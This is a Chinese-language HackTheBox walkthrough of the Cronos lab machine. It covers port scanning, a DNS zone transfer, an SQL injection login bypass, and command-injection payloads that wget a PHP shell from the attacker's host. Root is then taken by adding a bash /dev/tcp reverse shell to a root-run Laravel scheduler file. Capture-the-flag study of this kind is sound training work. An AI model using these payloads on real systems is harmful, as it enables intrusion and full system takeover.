[HTB] Cronos靶機 Write-Up
這個box有點難度,主要要去處理DNS的東西。
偵蒐與列舉
- 攻擊機ip: 10.10.10.13/24
- 靶機ip: 10.10.10.3/24
nmap scanning:
- 利用nmap檢查開啟的port:
┌──(kali㉿osboxes)-[~/Desktop/hackthebox/temp_space]
└─$ sudo nmap -sT -T4 -p- 10.10.10.13
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-19 03:59 EDT
Nmap scan report for 10.10.10.13
Host is up (0.22s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1180.70 seconds
2. 針對開啟的port做偵蒐:
┌──(kali㉿osboxes)-[~/Desktop/hackthebox/temp_space]
└─$ sudo nmap -sC -sV -p22,53,80 -oN nmap.out 10.10.10.13
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-19 04:22 EDT
Nmap scan report for 10.10.10.13
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.07 seconds
這台靶機面有開
- port 22 : OpenSSH 7.2p2
- port 80 : domain ISC BIND 9.10.3-P4
- port 80 : Apache httpd 2.4.18
Directory brute forcing
利用Dirbuster跟dirsearch做目錄爆破,並沒有發現任何東西。
DNS zone transfer
Hackthebox裡面,都會用靶機的名稱當成domain,像是這台就做cronos,那就可以稱為cronos.htb。
我們可以先修改/etc/hosts,把cronos.htb加進去。
接著使用zone transfer,可以發現大量的domain被撈出來,我們把這些domain依序加入/etc/hosts。
┌──(kali㉿osboxes)-[~/Desktop/hackthebox/temp_space]
└─$ dig axfr @10.10.10.13 cronos.htb
; <<>> DiG 9.18.12-1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 452 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Fri May 19 04:41:43 EDT 2023
;; XFR size: 7 records (messages 1, bytes 203)
就可以看到有web出現了
- cronos.htb
- admin.cronos.htb
尋找初始感染點
再admin.cronos.htb裡面,我們找到了一個登入介面,我們嘗試用SQL Injection來登入
' or 1=1-- -
進入後發現是一個Net Tool v0.1,看起來可以使用Command Injection。
127.0.0.1|| ls -al
我嘗試把php reverse shell上傳上去,再檢查發現已經有了
8.8.8.8| wget http://10.10.16.7/shell.php
成功彈回一個reverse shell
可以利用Python產生一個shell
python -c 'import pty; pty.spawn("/bin/bash")'
向上提權
利用linpeas.sh做題權的掃瞄,發現有一個具有root權限的cron job叫做/artisan schedule:run,根據google的查詢這個服務具有任務排成的功能
https://laravel.tw/docs/5.2/scheduling
artisan schedule
根據google所查詢到的公開資料顯示,artisan 可以利用跑排程,他跟linux內建的排程不同的地方是他只需要一行指令,同時修改app/Console/Kernel.php內的設定就可以跑所有想要跑的排程。
也就是說他是把排程寫在app/Console/Kernel.php裡面,然後由下面這行指令去定期跑。
php artisan schedule:run
尋找app/Console/Kernel.php的方法可以用find指令
find / -name Kernel.php 2>/dev/null
根據這篇文章描述,我們需要找到function schedule(),並且寫入指令,然後要根據這篇文章來設定排程。
但是因為拿到的shell是很爛的shell,所以不建議直接在靶機上面編輯,可以把Kernel.php下載到kali再編輯,我先把一個有reverse shell的bash檔放到靶機裡面,然後直接讓artisan去跑他。
可以把這行加入Kernel.php裡面
$schedule->exec('/var/www/laravel/app/Console/bs.sh')->everyMinute();
<?php
namespace App\Console;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
class Kernel extends ConsoleKernel
{
/**
* The Artisan commands provided by your application.
*
* @var array
*/
protected $commands = [
//
];
/**
* Define the application's command schedule.
*
* @param \Illuminate\Console\Scheduling\Schedule $schedule
* @return void
*/
protected function schedule(Schedule $schedule)
{
// $schedule->command('inspire')
// ->hourly();
$schedule->exec('/var/www/laravel/app/Console/bs.sh')->everyMinute();
}
/**
* Register the Closure based commands for the application.
*
* @return void
*/
protected function commands()
{
require base_path('routes/console.php');
}
}
有reverse shell的bash檔也準備好。
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.7/4446 0>&1
接著root權限的Reverse Shell就連回來了
心得
打了三次才真的把root拿下來,這臺學到蠻多東西的。
112/5/26 09:22 新竹交大博愛校區